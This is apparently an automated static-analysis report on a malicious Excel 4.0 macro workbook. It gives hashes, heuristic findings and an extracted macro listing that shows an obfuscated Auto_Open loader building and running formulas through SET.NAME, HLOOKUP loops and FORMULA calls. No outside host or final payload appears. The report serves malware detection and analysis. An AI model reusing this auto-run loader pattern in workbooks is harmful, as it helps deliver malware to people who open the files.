Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 411e8263682055d7…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:28 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 965cc9b2ab3abea7f5cb0606a52fb537 SHA-1: 33085a9ed13cc0ac5a3402e4c6f57de33b0786a3 SHA-256: 411e8263682055d7623a4612f20e33870309d782e3034631e41f4d929fd7a570
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6544 bytes
SHA-256: e62e3b14ba46f6e1e2bd20f42502eb788651e829b3f371a0b36c2e2a30985dbd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nMnU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G150 
' 0018     20 LABEL : Cell Value, String Constant - CHeqm len=0 
' 0018     25 LABEL : Cell Value, String Constant - cPlcJbUgaF len=0 
' 0018     22 LABEL : Cell Value, String Constant - dzSdejx len=0 
' 0018     27 LABEL : Cell Value, String Constant - gRdcTyAHmsYi len=0 
' 0018     24 LABEL : Cell Value, String Constant - hWURvKhLa len=0 
' 0018     24 LABEL : Cell Value, String Constant - khDamGAcc len=0 
' 0018     25 LABEL : Cell Value, String Constant - pMbNVVoEAd len=0 
' 0018     25 LABEL : Cell Value, String Constant - PZvDIohgxn len=0 
' 0018     20 LABEL : Cell Value, String Constant - qgJiV len=0 
' 0018     25 LABEL : Cell Value, String Constant - qsFhhyVPVO len=0 
' 0018     26 LABEL : Cell Value, String Constant - szqzsjPFSwv len=0 
' 0018     26 LABEL : Cell Value, String Constant - tWzlNOMMJkr len=0 
' 0018     22 LABEL : Cell Value, String Constant - UnEHnIa len=0 
' 0018     21 LABEL : Cell Value, String Constant - vwwiBF len=0 
' 0018     20 LABEL : Cell Value, String Constant - WDEPa len=0 
' 0018     26 LABEL : Cell Value, String Constant - WhuIIfzyHCB len=0 
' 0018     23 LABEL : Cell Value, String Constant - wJQwIuEd len=0 
' 0018     27 LABEL : Cell Value, String Constant - WOkxdwWwnffW len=0 
' 0018     26 LABEL : Cell Value, String Constant - yOOJpWHdeYd len=0 
' 0018     24 LABEL : Cell Value, String Constant - zTisXNGWB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nMnU,G58,"SET.NAME("qsFhhyVPVO",VALUE("0"))",""
'  nMnU,G61,"SET.NAME("UnEHnIa",qsFhhyVPVO)",""
'  nMnU,G66,"SET.NAME("yOOJpWHdeYd",qsFhhyVPVO)",""
'  nMnU,G69,"SET.NAME("WhuIIfzyHCB",COUNTA(WOkxdwWwnffW))",""
'  nMnU,G73,"SET.NAME("PZvDIohgxn",COUNTA(wJQwIuEd))",""
'  nMnU,G78,[],""
'  nMnU,G82,"SET.NAME("cPlcJbUgaF","")",""
'  nMnU,G87,"UnEHnIa",""
'  nMnU,G92,"SET.NAME("CHeqm",HLOOKUP("*",WOkxdwWwnffW,UnEHnIa,FALSE))",""
'  nMnU,G96,"szqzsjPFSwv",""
'  nMnU,G99,"SET.NAME("zTisXNGWB",qsFhhyVPVO)",""
'  nMnU,G102,[],""
'  nMnU,G104,"zTisXNGWB",""
'  nMnU,G108,"pMbNVVoEAd",""
'  nMnU,G113,"hWURvKhLa",""
'  nMnU,G117,"dzSdejx",""
'  nMnU,G121,"SET.NAME("vwwiBF",VALUE(HLOOKUP("*",wJQwIuEd,dzSdejx,FALSE)))",""
'  nMnU,G123,"gRdcTyAHmsYi",""
'  nMnU,G126,"cPlcJbUgaF",""
'  nMnU,G128,"yOOJpWHdeYd",""
'  nMnU,G131,NEXT(),""
'  nMnU,G134,"tWzlNOMMJkr",""
'  nMnU,G136,"SET.NAME("f",INT(T(FORMULA(T(cPlcJbUgaF)&"",""&T(tWzlNOMMJkr)))))",""
'  nMnU,G141,"qgJiV",""
'  nMnU,G144,NEXT(),""
'  nMnU,G146,RETURN(),""
'  nMnU,G170,"SET.NAME("WDEPa",G58)",""
'  nMnU,G175,"WOkxdwWwnffW",""
'  nMnU,G179,"SET.NAME("wJQwIuEd",R91C14)",""
'  nMnU,G182,"SET.NAME("qgJiV",190)",""
'  nMnU,G184,"SET.NAME("khDamGAcc",7)",""
'  nMnU,G189,WDEPa(),""
'  nMnU,G190,HALT(),""